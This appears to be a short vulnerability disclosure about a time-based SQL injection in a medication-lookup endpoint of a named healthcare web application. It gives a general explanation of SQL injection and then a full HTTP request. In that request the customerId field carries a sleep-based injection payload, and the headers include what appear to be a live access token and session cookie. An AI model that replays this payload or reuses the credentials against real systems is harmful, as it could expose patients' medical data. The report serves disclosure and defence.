Notes

About SQL InjectionA SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to affect the execution of predefined SQL commands.

About Vulnerability
In choice.callhealth.com there is an endpoint where it retrieves the medication details by MRN. It is observed the application is vulnerable to Time based SQL injection where an advisory can execute SQL queries which makes a huge impact at the server load and the network speed on the response time

POST /rest/getMedicationByCustomerId HTTP/1.1Host: choice.callhealth.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0Accept: application/json, text/plain, */*Accept-Language: en-US,en;q=0.5Referer: https://choice.callhealth.com/ehr/view-ordersContent-Type: application/json;charset=utf-8access-token: 77835f1e9bd342ee6e8a03390d491f88Content-Length: 77Cookie: _ga=GA1.3.1754266234.1498559942; _ga=GA1.2.1754266234.1498559942; _gid=GA1.2.1561481858.1499663386; PHPSESSID=ivv2cqdn8bi0kdehcp7421q1e1; G_ENABLED_IDPS=googleConnection: close{"customerId":"CH300060'+(select*from(select(sleep(10)))a)+'","mrn":"241897"}